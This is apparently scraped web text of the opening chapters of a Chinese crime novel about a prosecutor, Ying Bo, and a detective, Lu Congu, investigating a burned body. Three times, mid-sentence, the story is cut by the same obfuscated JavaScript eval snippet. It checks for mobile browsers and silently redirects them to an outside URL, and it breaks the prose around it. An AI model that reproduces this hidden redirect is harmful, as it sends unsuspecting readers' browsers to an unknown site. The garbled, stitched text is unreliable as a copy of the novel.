《激流[刑侦]》 1. 困兽 或许是因为这里的位置太过偏僻,即便是三月初春,周遭的环境还是冷冷清清的。 一堵高墙将内外分割为两重世界,墙内的人挤破脑袋也要出去,墙外的人却往往对里面和里面的人闻之色变。 这里是望海市北港监狱,一所传闻中的重刑犯监狱。 然而法律中并没有给出“重刑犯”的具体界定,一般指代的是被人民法院判处十年以上有期徒刑、无期徒刑、死刑等刑罚的罪犯。纵观整部刑法典,适用上述刑罚的基本属于“手段极其残忍,性质极其恶劣,社会危害性极大”至少其中之一的恶徒,或许连他们的至亲对其都唯恐避之不及,更想不出什么人会愿意来这里凑热闹了。 三月的天气乍暖还寒,春意暗地里滋长蔓延,寒气却仍不甘心败退,又突然负隅顽抗似的卷起一波冷空气。小雪零星飘洒了一整夜,破晓才稍有停息的意思。远远快步而来的青年捏紧了衣领,三两步登上台阶,在地毡上蹭去了鞋底的残雪,头发还有些湿漉漉的。 “您好,家属会见是吗?” 科室里的民警余光里瞥见有人靠近,随口问了一句。打眼看上去,青年身形颀长,长相是很温润的清隽,通身给人一种斯文又持重的印象。 片刻的愣怔后,民警回忆起了这个眼熟的青年。刚过完年的一天他也是早早地来到这里,不成想当时会见室里有个老太太突发心脏病,青年帮着狱警们忙前忙后,最后还把她护送到医院。 “啊,是您。”想到这儿,民警笑着向青年寒暄,“来了?” “嗯。”青年点点头,取出必要的证件材料,和他搭起了话,“……就您自己?” “是,我同事请假了,就剩我一个。”民警颇为无奈地耸耸肩,接过青年递来的材料,示意他可以坐下来说话。 “兹有我辖区居民应泊,性别男,年龄29岁,需探望贵监区收押人员褚正清。应泊为褚正清狱中消费主要资助人员,望贵监区批准探监。” 落款望海市公安局广开分局四马路派出所。 民警大致把材料都浏览一遍,最后却对着这张派出所证明沉吟不语。片刻,他忽地开口: “对了,有件事想跟您通个气儿。大概是上个月吧,有个女的也来看过这个褚正清,自称是他女儿。我想他在这里关押这么多年了,从来也没见过他家属,就留了个心眼,想着问问您有没有印象。” 青年闻言微微拧起了眉头:“女儿?” “是,看上去大概四十来岁,不高,挺瘦的,看打扮家里条件应该不错。” 青年若有所思,并没有解释什么:“唔,我知道了,谢谢您——材料有问题吗?” “没问题,您收好。”民警点到为止,而后仔细叮嘱他,“拿着这把钥匙,跟上回一样走,把东西存到柜子里,过了安检就有人带您进去了。” 急于印证心中的猜想,那名叫应泊的青年道过谢后便匆匆走完流程,跟着另一名狱警来到会见室。 “按号找座,你先等一下吧,应该马上就来了。” 时候还早,偌大的房间里只有他一人。应泊远远望着窗外,雪已经彻底停了,阳光带着寒意渗进玻璃,明晃晃地刺进眼睛,晃得他有些失神。 自他第一次来到这里,到现在已经有很多年了。很长一段时间里,他和这座牢笼唯一的牵系都是每月雷打不动的银行转账,最开始是每月三百块,后来自己经济越来越宽裕,又渐渐增加。但包括他在内的众多人带来的经济效益并没有给这里造成什么脱胎换骨的变化,当他前一阵通过遴选来到新的单位,自认算是进入人生的新阶段,终于决定要回来看看的时候,触目所见还是墨绿色的墙漆,花岗岩的地砖,防爆玻璃和天花板上还是一层的灰。 它似乎是刻意保持着老样子,从而毫不费力地将看似已经无所拘束的他拖进回忆的牢笼。以至于有那么一瞬间,应泊对于心里恍若隔世的陌生感,甚至产生了一丝愧疚之情。 而现在,应泊只想把先前过于天真的自己揪过来打一顿。 眼下还不是自怨自艾的时机。一声金属碰撞的响动,防爆玻璃后的那道铁门一开一合,两名狱警挟着一名犯人来到他的窗口前。应泊只好收回思绪,打量着眼前的人,思忖着该如何开口。 “钱已经打在卡上了。”他等那人坐住了才温声说道,“烟可以少抽,吃尽量好一点。” 这是个孱弱的老年人,看年纪大约七十上下。长年的羁押让他看上去比同龄人更显衰朽。身上的骨架楞楞地撑着囚服,眼窝深深凹陷下去,脸色一片灰败。他自从被押进会见室便怏怏地垂着头,始终躲避着应泊的目光。听了这一句,他也只是含糊地“唔”了一声,而后便三缄其口,再不作声。 应泊忽然觉得好笑,自己明明是来探望的,气氛却比工作时提讯犯罪嫌疑人还凝重。起码有的嫌疑人还会装疯卖傻,甚至是低声下气涕泗横流地哀求,以求承办检察官能在量刑建议上手下留情些。 当然,相对不起诉最好。 “算了吧。”他这么宽慰自己,“他就是老死在这里也不会低头的。” “我问过狱警,他们说你最近血压又上来了,我这次就给你多打了点,自己把药备好,记得吃。” 那人无动于衷:“唔。” “你不必这么抵触我,我特意请假来一趟不是来看你脸色的。”应泊颇为无奈,“我不仅不会滥用职权掺和下级机关办案,也没那个本事再给你加两年,你不用害怕。” 那人听出了他的弦外有音,眼中的木然出现了一丝变化: “你什么意思?” “你应该知道什么意思。”应泊也不再和他卖关子,“齐齐爸爸酒驾撞人了,这事你知道吗?” “酒、酒驾?——怎么回事?” “不只是酒驾,还有交通肇事后逃逸。”应泊一字一句地强调,“案子不在我这儿,具体的我不清楚,也不好过问。孩子妈妈来检察院找我的时候人已经被批捕了,她希望我能运作运作,我没同意。” 他的眼神倏地变得锋利:“不过,比起这个案子,我更想知道她是怎么找到我的。” 就像是蛇被打中了七寸一样,那人身子一僵,接着整个人都颓靡下来。 不需要什么解释了,沉默就是最好的回答。应泊心里已有定论,仅余的一点笑意都被抹去,眼尾眉梢尽是讽刺:“褚正清,你还真是人如其名公正清明。十二年了,你怎么一点长进都没有?” “其实我根本没必要来问你,但我确实没想到你连否认都不否认了。我想到今天都没想明白,你为什么会认为我愿意为了你们家的烂摊子赔上前程。你是打心眼里觉得我傻,还是觉得我天生贱骨头,被你毁过一次还不够,非得一而再再而三才长记性?” 褚正清佝偻着身子,仍旧不敢抬头正视对面言辞咄咄的应泊,良久才嚅动嘴唇:“……我不是那个意思。” 应泊怒极反笑:“那就是专为恶心我?” “不……小泊,你话不能这么说。”褚正清吞吞吐吐,“我也知道,十多年前那事把你牵扯进来,对你的伤害很大,让你吃了不少的苦头……我只是想你怨也好恨也罢,能不能先不谈,毕竟过去了这么多年,我们先谈谈情分。从此往后碰着难处你们彼此帮一把,就当……” “就当什么?你知不知道这是徇私枉法,这是犯罪!”应泊的眼神嫌恶得仿佛夹着刀锋,“该还的我十二年前就还清了,法理上情理上我都不欠你们的。我以为能就此一刀两断,结果现在看我爬起来了,能利用了,又跑来闹得鸡犬不宁,这就是你说的情分?” 随着这一声质问落地,窗口两边都陷入了死水般的沉默。应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15057741|162925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泊自知一时失态,别过眼去调整着情绪,极力想要遏止住心底的怒意。 “我没有给她任何联系方式。如果她再来找你,麻烦帮我转告一下,我这儿行不通,老老实实认罪认罚吧。” 应泊站起身,俯视着哑口无言的褚正清,语气又恢复到先前的波澜不惊。 “还有,最后几年你最好不要再生事,我没那么多耐心应付你——好自为之。” 一个习惯了理性的人骤然爆发,可能一时之间连他自己都无所适从。唯恐被狱警看出异样,应泊几乎是头也不回地走出了会见室,一路走到没人的地方才来得及长出一口气。只是驻足在监狱门口仍忍不住回望,恍惚中这威压感极强的建筑在一瞬间几乎要向他倾覆而来,将他吞噬殆尽。 是的,这里的秘密就像一座不稳定的山体,不知何时便会崩塌滑落,黄土灰尘会把他和他的理想、他的挣扎全都死死掩埋。 即便他并不是个习惯心存侥幸度日的人,也难免一遍又一遍地用“万一不会呢”来麻痹自己。然而这次的事犹如一声枪响刺破他虚妄的幻想,告诉他过往依然如影随形,十二年里所做的一切,都不过是在一片狼藉的人生里打转罢了。 “至少现在还不会。” 他这样想着,轻叹了一声。 回到车上,应泊把车座靠背放倒一些,找了个舒服点的姿势躺下,打算稍稍休憩一会儿。从市区开车到这里需要一个半小时,为了赶早从而避人耳目,他大约六点左右就起床了,现在只觉得眼皮发沉。刚合上眼,他又忽然记起了什么,坐起来想给自己的助理董宇博去个电话。出乎意料的是,刚打开手机,一个未接电话便跳进眼帘。 而来电显示上的名字,更在他意料之外。 电话来自一个叫张继川的人。这人也在市检察院当差,技术部的法医,年纪二十六七,长相一表人才,从国内顶尖高校毕业后去了国外深造。他学习既好,工作上也勤勤恳恳,说话做事妥帖有分寸,因而发展得不错,挑着整个技术部的大梁。不过,相比起他的年轻有为,平日里大伙大多爱拿他那显赫的家世打趣。他本人对此却只一笑而过,从未解释过什么,依旧每天按时上班,到点打卡下班,独来独往,生人勿近。 应泊虽然十分疑惑,条件如此优越的人为什么要放弃无数条通往成功的康庄大道,非得从头做起当个束手束脚的公务员,但秉持着“管他穷同志富同志,认真干活就是好同志”的观点,他不刻意巴结,也不背地里嚼人舌根,两人保持着碰面时微笑点头,躺在彼此通讯录和朋友圈却极少交流的交情,到目前为止相处得还算比较和谐融洽。 可是这尊大佛怎么突然心血来潮联系自己?应泊想不通,出于礼貌,他还是立刻回拨过去: “喂,张法医?” “应检?是我。”电话那边接得很快,“我不知道你请假了,打扰你了吧?实在不好意思,抱歉抱歉。” “嗯,请了一上午,不打扰——有什么事吗?” 张继川一笑:“你前几天不是托小刘审查一份鉴定书么,她当时实在腾不出手,我就接下来了。刚才去给你送鉴定书发现没人,这才打了个电话。没事,你忙你的吧,等你回来我再给你送过去。” “不用不用,你直接让董宇博过去取就好,我刚还想问他这件事。麻烦你跑了一趟,谢谢你。” “那不行,不亲自交到你手里我不放心,麻烦倒是不麻烦。”张继川客客气气的,态度却很坚决,“这个案子确实不对劲儿,疑点很多,我必须当面和你细说。” 说完,他特地降低了音量,谨慎地补充一句:“虽然不敢打包票,只看这些,我想我的结论和你一样,你懂我意思吧?。” 应泊心下了然,赶忙调好座椅,发动车子: “明白了,你等一下,我马上就回去。” 2. 如故 望海市人民检察院,下午五点四十分。 路从辜双手撑在洗手台边沿,身体随着剧烈的呼吸一起一伏,连带着额头的水珠也断续滴落,洇湿了制服衬衫的领口。 他自知现在的确是需要马上冷静下来,但越是极力平复心绪,胸口便越是要涨热几分。 难以自制地,推开门后的场景在脑中一遍遍重演。彼时站在多媒体屏幕前调试设备的青年不经意地看向他,二人眼神相碰的那一刹,那人略有愣怔,但也只是片刻,便礼貌地微笑着轻轻颔首。 是他,的确是他,他说他叫应泊。 这是一次公安与检察的联席会议,不巧昨天支队刚接到平舒区大队请求管辖一桩杀人焚尸案的申请。原本以为能速战速决,没想到情况比预想的要复杂很多,线索寥寥无几,连一向能出奇制胜的路从辜一时之间都找不到头绪。 “五天了,连尸检都做不了吗?”这是路从辜问的唯一一个问题。 “路队,您也知道。”平舒大队队长林勇超摆出一副左右为难的样子,“平舒区这两年经济不景气,各个单位经费都不足,我们也在努力克服困难,但条件有限,实在……” “打住。”路从辜不想听他说下去了。 案发现场位于平舒区辖区内109国道附近的一处水渠内,尸体已经烧成了黑黢黢的一块焦炭,除此之外再没有任何线索。据大队描述,发现尸体的是一名骑行爱好者。大概是死者的死状太过惨烈,询问过程中这位目击者一直战战兢兢的,连句完整的话都吐不出来。 时间一直拖到今天下午,要不是其他人提醒,路从辜几乎把这件事抛在了脑后。考虑到毕竟是两机关之间的重要会议,还有各路领导到场,耽搁太久显得故意怠慢。路从辜再急于破案,也只得简单安排了后续工作,而后火急火燎地赶到检察院。 然后就出现了那样一幕。 用“故人重逢”来形容这一面,不论从曾经的纠葛还是现在的心境来说,都未免有些轻描淡写了。路从辜必须承认的是,眼前人的形象同记忆里那个几乎要被磨损成飞灰的影子丝丝入扣地契合上时,心底那阵如石入水激起的喧哗别人听不到,对他而言却震耳欲聋。 两个多小时的会议不知道听进去了多少,他极力地让思绪漫游开去,笔记上一句话断断续续整理好几遍才能落到纸面。他甚至暗暗怀疑会不会只是碰巧同名而自己又不小心看走了眼,却连抬头确认的勇气都没有。会议甫一结束,他便假借急着回去侦查案件的借口逃离集聚在一处寒暄应酬的人群,躲在这里强制自己冷静下来。 临近年关辖区内却出现恶性凶案,又猝不及防地跟最不可能的人撞个正着,他需要一些时间整理思绪。路从辜抹去了脸上纵横的水痕,转过身倚着洗手台,一手慢慢捻着眉心。 手机嗡嗡震动起来,是一大队队长肖恩打来的电话:“头儿,会开完了?” “嗯——有进展了?” “温队那边尸检结果已经出来了,人是被照着后脑勺砸死的,死了大概十来天了。”肖恩迟疑了一下,“头儿,听你语气有点不对劲儿,需要我去接一趟吗?” “我没事,一会儿还要去见局长。”路从辜有些疲倦地合上眼,“接着查找尸源,我随后就回去。” 肖恩心领神会,也不再多说。挂断了电话,路从辜匆匆整理好仪表,刚打算走出卫生间,却听见走廊里传来一阵渐近的脚步声,间杂着几句模糊的话音: “我倒是无所谓,随时有空。就是人家大老远地来一趟,你浮皮潦草地把人打发走,多少有点不太合适吧?” 此后是一阵静默,话音再次响起时多了几分笑意:“好,你自己做主。八点半去接你,我记住了。” 是应泊,而且正朝卫生间的方向过来。 一种莫名的窘迫与慌乱让路从辜下意识地想要回避,但显然已经来不及了。还不等他挪动脚步,一道黑色身影已经直直撞进门口,彻底堵住了他的去路。应泊本来在看手机,发觉前面有人便抬起头来,又一次和无处藏身只好杵在原地的路从辜四目相对。 这一次轮到应泊猝不及防了。路从辜沉默地看着他定定地站在那里,右手还悬在半空,甚至忘了把手机熄屏。 “你……” 他犹疑了许久没再挤出下一个字。或许是觉得用“你”开头不太合适,他又立马改口:“我……” “我刚刚一直在找你。” “没想到你在这里。” 攒足劲儿把两句话一口气说出来,应泊如释重负地长出一口气,然后抬起头直视着路从辜,大有一种“我说完了,怎么接就看你了”的气势。 “找我?” 然而应泊没再说什么,他转身径直离开了卫生间。正当路从辜摸不着头脑不知应该是去是留时,他又折回来了,手里捏着一个装满水的纸杯。 “你的嘴唇干得厉害,都破皮了,喝杯水润润再走吧。” 路从辜怔住了。抿了抿嘴唇,淡淡的血腥味儿在口腔里弥漫,大概是最近太忙,缺睡眠也缺水的缘故。虽然不明白应泊的用意,路从辜还是接过了这杯水。应泊看上去很满意,看着他把水喝下去,似笑非笑地问道: “警察也这么不对人设防吗?” 路从辜一惊,喉咙里的水还没咽下去就倒呛了回来,激得他直咳嗽。 “咳……咳咳、咳咳……” 应泊被他的反应吓了一跳,连忙一手搀住咳得站不稳的路从辜,一手拍着他的后背帮他顺气。 “我、我开玩笑的,对不起对不起……怎么样,好点了吗?” 咳嗽声渐渐平息,路从辜喘上了气,也终于能直起腰来,脸咳得通红。他抽了抽鼻子,随手抽了张卫生纸,慢慢擦掉挂在鼻尖上的被呛出来的水,哑着声音说: “什么时候回来的?” “啊?” 话题转换之快,杀了应泊一个措手不及。心知刚才的弯弯绕绕都被看破,应泊收敛了笑容,几不可闻地叹了一声:“去年这个时候吧,在郊县待了三年多,入了额才遴选上来的。” “去年?” 路从辜用一种意味深长的古怪眼神上上下下打量了应泊一圈,盯得他心里发毛。应泊不自在地移开视线,又补充说: “回来之后一直都在三部,跟监委纪检打交道比较多,最近刚调到二部,你没见过我也很正常。” 理由非常充分,能够自圆其说。终于把想问的话问出来的路从辜神情缓和下来,一直在观察他的应泊也因而轻松不少,用同样的姿势跟他并排倚在洗手台上。抬手看看表,已经差不多六点了,应泊环顾了四周一圈,说:“怎么在这里聊上了——走,一起吃顿饭,我请客。” 路从辜很坚决地摇头:“这不行。” 大概是没想到他会拒绝得这么干脆,应泊讶然地张张嘴,到底也没问出那句“为什么”。路从辜本就没打算瞒他,看他欲言又止,顿时有些懊悔自己话说得太直,便紧接着说:“昨天下午刚来了个命案,有点棘手,确实挤不出时间来——我没有别的意思,你别多想。” 后一句话才是重点。 “啊……我理解的,没关系,没关系。”应泊听完恍然地点点头,但又不免蹙眉,“命案?这可都快过年了。” 想到一团乱麻的案子,路从辜头痛得仿佛要炸开,只感觉凶手那一锤是砸在了自己的后脑勺。 “是啊,年前破不了案,各方面都不好交代。” 大概是被路从辜流露出的沮丧情绪感染,又一时想不到合适的词句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15057742|162925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来安慰,应泊看上去也相当泄气。没过一会儿,他冷不丁地冒出一句: “万一过几天凶手就上门自首了呢,也说不准。” 虽然听上去很荒谬,但此时不着边际的玩笑话确实更适合纾解压力。路从辜看了一眼一脸同情的应泊,忍俊不禁:“不用可怜我,等我破了案,这些活就轮到你了。” “说的也是。”应泊讪讪地,“那我就不强求了。不过,临走之前,至少留个联系方式给我吧?” 刚拿出手机,路从辜忽然迷茫地抬头:“你还记得刚才开会都说了什么吗?” “……我也没听。”应泊陷入了沉思,“等一下,我去拿份讲稿看看。” 被应泊送到门口的一路,两人始终都无言。路从辜关上车门,启动车子,从后视镜看去,应泊依然站在大厅外一动不动地注视着自己,身影渐渐模糊,直到再也看不见。 这么多年了,他的面容,他的气质,他说话的语气,或多或少都变化了些,以至于一打眼看上去,都有点认不出来他了。 这些年他到底去了哪里?都经历了些什么?为什么突然消失?又为什么一定要用拙劣的死讯断绝与自己的联系?其实路从辜还有很多很多话想要问他,话到了嘴边又被强咽回去——因为不愿意让那些不合时宜的问题搅乱眼下还算轻松的氛围。 太久了,久到忘了从什么开始,他不再期许虚无缥缈的重逢,甚至连他自己都觉得,破镜重圆只是少年天真的幻想,倘若说出口,是个人都会认为好笑。或许分别的人就该像被水冲散的沙一般,各奔自己的前程,不必再用无谓的执着自欺欺人。 “没关系。”路从辜这样想,“回来了就很好。” 驱车到市局,路从辜并没有贸然进去,而是先在门口驻足了一会儿,几个深呼吸试图调整好状态。然而还是没瞒过局长孟长仁的眼睛,这位阅人无数的老警察沉默地听着路从辜汇报案情,末了把烟头掐灭,语气里带了些揶揄。 “有心事?” “没有。”路从辜勉强扯出一个笑,“只是有点累。” 局长也不刨根问底,岔开了话题:“你爸前天还跟我说,盼着你今年能和家里人一起过年呢。” 路从辜当然明白他什么意思,不由得咋舌于领导的说话艺术。离除夕夜只有不到半个月了,路从辜顶着压力接下这张军令状,走出市局大门的时候猛吸了几口没有烟味儿的空气,混沌的大脑终于争取到片刻喘息的时间。 可惜他没有烟瘾,连个简单易行的发泄口都没有。某种程度上来说,不抽烟的警察比三条腿的蛤蟆还难找。 局长是父亲曾经的同事,父亲当年是市局禁毒支队的干警,现在已经就职于省厅了。有这层关系的缘故,局长对他往往更照顾一些。先前一桩爆炸案即将被盖章定论为意外时,彼时还只是一大队队长的路从辜提出异议,认为应当属于人为谋杀,也是局长力排众议准许路从辜动用人力物力进行侦查,最后果然如他猜想的那样,幕后另有真凶。 工作上的事马虎不得,这是他一贯的原则。也正是这件案子引出了一系列明争暗斗的势力,一网打尽后市里论功行赏,路从辜记了个人二等功,后来便顺理成章地成为了现在的刑侦支队支队长。这其中固然有各方博弈的结果,不过路从辜倒没兴趣顾及那些,睁一只眼闭一只眼是他在这个位置上能给出的最友好的态度,但也仅限于没闹到明面上的时候。 直觉告诉他这次的案子也不简单。平舒区作为望海市边陲的一个小城区,治安状况虽然不能与市中心的几个区相比,但近些年来也基本没出过太恶劣的凶案。是什么人一定要在年节将至的时候犯下命案,还要一把火将尸体烧得面目全非? “万一过几天凶手就上门自首了呢。”他自言自语。 3. 夜火 外卖小哥一个摆尾在大门前停稳电动车,从箱子里拿出一份外卖,仰头望着眼前的建筑。 “送到北门……这是北门吗?” 过度沉浸于辨别方位,小哥丝毫没有发觉身后步步逼近的钢铁巨兽。一直到这头巨兽发出尖锐的嘶吼,他才惊恐地回头: “我靠,警车。” 顾不上还没送到顾客手里的外卖,小哥慌忙跨上车:“我马上走,我马上走,别罚我钱。” 警车摇下车窗,一个青年从中探出头来,喊住小哥:“等一下——外卖吗?” 这青年虽然脸上没什么表情,但语气还是礼貌平和的,也没有要为难他的意思。小哥犹豫了一下,便向其求助说: “是。备注上让我送到刑侦支队北门,我没来过,也不知道这是不是北门。” “这是东门,北门在那边——你把外卖给我吧。” 小哥从车窗把外卖递进去,临走前还惴惴不安地问:“不罚钱吧?” “我是刑警,不是交警。”青年无奈回答。 与此同时,刑侦支队北门,肖恩蹲在地上清点所有寄存在门卫的外卖,点了好几遍都对不上数,急得像热锅上的蚂蚁: “咦……怎么少一份呢?” “算了,不管了。”他把所有外卖分放进两个筐里,用一根扁担挑起来,大摇大摆地走了,“自认倒霉吧哥们儿。” “……这是个啥造型啊。”目送着他离开,门卫大爷啧啧称奇。 肖恩前脚刚踏进办公大楼,后脚就被饿得怨气冲天的同事围了个水泄不通,他差点以为自己是来赈灾的。等到人潮散去,只留下他和没领到晚饭的倒霉蛋面面相觑。 “我的呢?” “对啊。”肖恩也表示很奇怪,“你的呢?” “你的在这里。” 一句话点亮倒霉蛋眼里希望的光。肖恩瞪圆了眼睛看着风尘仆仆的路从辜,问: “头儿,什么时候开始兼职干这行了?” “怎么?怕头儿抢占你的市场?”有人打趣说。 “外卖员送到东门去了,被我碰到。”路从辜显然无意投身于这片蓝海,“通知各部门,八点三楼会议室开案情分析会。” “收到。”肖恩边吃边冲他比了个手势,“对了,你吃饭了吗?” “没有——你吃吧,不用管我。” 说完,他就闪身进了电梯。凝望着那挺拔的背影,肖恩不禁直抒胸臆:“啊,钢铁般坚强又冰冷的男人。” 路从辜没听见那真挚得有些肉麻的赞美诗,或许听见了他也不会回应。回到办公室,副队长温鸿白已经将尸检报告和现场勘查报告放在他的办公桌上了。路从辜拿起报告,打算抓紧时间简单过一遍。还没看几行,门外响起一阵脚步声,有人在门口探头探脑: “咦?还真回来了?” 进来的是一大队的民警方彗,这个年轻的姑娘留着一头齐耳短发,性格坦率爽朗,工作时也风风火火。她晃晃手里的袋子,说: “头儿,肖恩说他点多了,让我把这些吃的给你送过来。我跟他打赌说你肯定还没回来,没想到赌输了。不过这不重要,你多少吃点垫垫肚子,怕你吃着噎我还给你捎了瓶可乐。” “好,谢谢你,也替我谢谢他。” “多大点事儿啊谢来谢去的,跟我们客气啥呢。”她把袋子里的东西一样样拿出来摆在办公桌上,一低头瞥见路从辜手里的尸检报告,“……没事,就着它吃更下饭。” “温队在实验室吗?” “在的,肖恩待会儿也会过去。” “行,你去忙吧,我跑一趟实验室。” 胡乱往嘴里塞了两口吃的,路从辜就带上报告出了门,一路直奔法医实验室。那具几乎被烧成炭块的焦尸正停在实验室中央,四肢呈屈曲状。刚看到它的时候,路从辜不由自主地联想到了自己当年在公安大学学搏击时,双臂护在胸前进行防守的样子,温鸿白解释说这是“拳斗姿势”。尸体焦黑的表层因为高温炙烤沿着皮肤的纹路迸裂开来,看上去仿佛是无数道触目惊心的创口。 路从辜自认参加工作的时间也不算短了,在派出所,在刑警队,他见过夏天河水里已经巨人观的尸体,鼓鼓胀胀的仿佛下一秒就要爆裂开来;也见过坠楼现场摔得四分五裂的残肢,红的白的黄的混在一起,已经不能称之为“人”;印象最深刻的是曾经一次行动时,一个持/枪的犯罪嫌疑人就在他眼前吞/枪/自/杀,头颅直接炸成碎片,收队后局长单独跟他谈了好几次话,生怕给他留下什么不可磨灭的阴影。 但这些或血腥或腐臭至少是直观的恐惧,眼前的这具看似更容易接受的尸体却隐隐泛着一层诡异,每当看到它,路从辜的心里都会生出一种莫名的恶寒。 是警察的直觉力吗?他也说不清。他只是无端地觉得,这场大火的背后,并不仅仅是一起命案,或许比他曾经遭遇的一切都更严峻。 副队长温鸿白站在尸体旁,见他到来便点点头:“路队。” 温鸿白作为主管技术部门的副队长,同路从辜一样,在公安这样的机关里都属于典型的“技术型人才”,至于人情世故,仅止于进退有度,不愿,或者说是不屑于太多无谓的交际。平日里她沉默寡言,然而解剖刀下的一具具尸体积攒下的专业性却从来无需置疑。 用方彗的话说,就是“鸿姐剖过的人比她见过的还多”。 “被你说的我好像一个屠夫一样。”温鸿白如是评价。 路从辜戴上手套,也向她点头致意。温鸿白开门见山,向他介绍起目前的检验结果: “死者为男性,身高172公分左右,年龄在40-45周岁之间,由于尸体炭化得太严重,只能大概估测死亡时间在十到十五天。助燃物是汽油,没有发现休克肺改变,气管和支气管也没有烟灰炭末,可以认定为死后焚尸。” “嗯,尸检报告我看过了。死因是颅脑机械性损伤?” “虽然大火使颅骨发生了热作用骨折,但排除了这一干扰因素,颅顶和颅底都有明显的钝器伤,能够确认是锤头一类的东西反复多次击打形成。”温鸿白语气一转,“就是破裂的地方太多,颅骨又太硬,锯的时候已经格外小心,还是免不了有部分组织碎掉了。” “辛苦了。” “是,我一来就看见温队吭哧吭哧地锯尸体的脑袋,然后把脑瓜子里面的瓤一点点掏出来,还把骨头扔进锅里咕嘟咕嘟地煮。”肖恩也来到实验室,手脚并用,开始绘声绘色地讲起自己看到的一切,越说他的五官越痛苦地扭曲到一起。温鸿白见了觉得滑稽,带着笑意调侃他: “那你也没耽误吃饭啊,一天往我这儿跑了三趟,午饭晚饭你一顿都没落下。” “晚饭他吃得少,有一半分给我了。”路从辜插了一句。 “咱……咱不得学着习惯么,又不是第一次见了。”肖恩倒很会给自己找台阶下,“有一说一,煮得还有点香,我觉得这话多少有点冒犯死者,所以没敢说。” 门外路过的法医听见了他的话,探头进来说:“你是馋大骨头汤了,过年回家让你妈妈用高压锅给你多熬点,我们这儿的可不能给你喝。是吧路队温队?” 屋里的人哄笑起来。路从辜无意加入他们的说笑,把话题拐了回来,询问肖恩:“查找失踪人口那边还没有消息?” 肖恩无奈耸肩:“一天了,一无所获。” “好,我知道了。你先去吧,一会儿还要开会。” 肖恩刚转过身,路从辜又叫住他: “谢谢你分享的晚饭。” 工作多年的刑警们往往戏称案情分析会为“聚众抽烟会”。压抑得空气都仿佛黏成一团胶的会议室里,不知道从哪个角落传来打火机“啪”的响声,随之慢慢扩散开来的烟草味诱引着更多无处发泄焦虑的人也不受控制地摸向裤子口袋,渐渐的整个会议室里都是缭绕的呛人烟雾。 路从辜微微蹙眉。他很讨厌这种味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15057743|162925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,也并不觉得一支接一支烟地麻痹自己能提高多少工作效率,但他清楚这几乎是这一行中一种约定俗成的习惯了,所以并不打算出言阻止。 年轻的干部本就难以服众,他没必要在这种事情上立威。 “1月6日,平舒区辖区109国道附近的一处排水渠内发现一具尸体,被发现时尸体已经高度炭化,无法进行辨认。考虑到技术问题,在案发5天后,平舒大队把这一案件移送给了我们进行侦办。” 路从辜调出现场照片,一一进行放映。 “这是案发的109国道,现在已经废弃了。这一部分路段头尾都没有监控,除了一些抄小路的大型货车,平时也很少有人会经过那里。能精准找到这样的地方进行焚尸,大概率是在本地居住多年的。” “焚尸点距离平舒城区约15公里,距离最近的派出所只有不到2公里。”他用激光笔指示着周边地图,“基本可以说是在警方的眼皮底下作案了。” “这附近没什么建筑群,凶手想从城区把尸体运送过去,肯定得有轿车一类的自驾工具吧?” 路从辜点头,认可了参会民警的想法。 “是在向警方挑衅吗?” “我考虑过这种可能,但在尸检和现场勘查之后就排除了。下面由温队讲解一下尸检和勘查结果。” 温鸿白言简意赅,概括了两份报告上的内容,只对有关路从辜接下来要说的内容进行了强调。 “前面已经说过,死者尸体已经高度炭化,说明死者与火焰接触时间长,火焰温度也极高,才能产生这样的结果,通过对尸体周边残渣的化验,也证实了我们的猜想——凶手使用了大量的汽油作为助燃物。” “除此之外,现场除了死者的遗体,没有发现任何可以证明死者或是凶手身份的物品,连凶器、死者的手机、装汽油的容器这些极易被遗留在现场的东西都被凶手带走了。” 路从辜接着她的话说:“如果是挑衅,凶手必然有什么是需要向警方表达的,而这些都会体现在死者的身份、死因以及凶手在现场留下的痕迹上。然而本案的死者已经烧得面目全非了,现场几乎没留下任何有效信息。我们连死者是谁都排查不出来,又怎么去揣摩凶手的心理动机?” “所以我认为,与其说是挑衅,不如说凶手希望死者被警方发现,但并不希望警方通过死者了解到有关自己的任何信息。他想利用或是误导警方,而不是示威。” 他不再言语,给了在场民警一些思考时间。一旁的方彗思索片刻,问: “是为了栽赃嫁祸谁吗?” “不无可能,也可能是想通过警方放出消息震慑某人。”路从辜给出了自己的推测,“具体的原因还需要继续侦查才能知道了。” “接下来的任务很清晰了。尸源排查工作还要推进,焚尸多为熟人作案,可以把范围先划定在平舒区周边,看近期上报的失踪人员有没有符合条件的。” “另外,现在购买散装汽油都需要实名。再加派一队人手走访城区与案发地之间有出售散油资质的加油站,筛查案发时段有没有可疑的人购买过大量汽油——连带实名和登记的车牌号的真伪也要查。” 